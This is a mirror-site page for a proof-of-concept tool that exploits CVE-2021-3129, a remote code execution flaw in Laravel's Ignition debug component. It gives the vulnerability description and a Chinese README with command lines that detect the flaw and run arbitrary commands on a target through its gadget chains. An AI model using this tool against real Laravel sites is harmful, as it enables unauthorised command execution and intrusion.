CVE-2021-3129 PoC — Facade Ignition for Laravel 授权问题漏洞

Source

https://github.com/Axianke/CVE-2021-3129

Associated Vulnerability

Title:Facade Ignition for Laravel 授权问题漏洞 (CVE-2021-3129)
Description:Ignition before 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2.

Readme

## CVE-2021-3129

使用说明：

注：本地需有php环境

```
python3 CVE-2021-3129.py -u http://127.0.0.1:80 （只检测poc）
python3 CVE-2021-3129.py -u http://127.0.0.1:80 -c whoami （命令执行，默认会遍历所有利用链）
python3 CVE-2021-3129.py -u http://127.0.0.1:80 -c whoami -chain laravel/rce1 （如检测到可用利用链可直接选择利用）
```

![20240115-145801@2x](20240115-150156@2x.png)

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →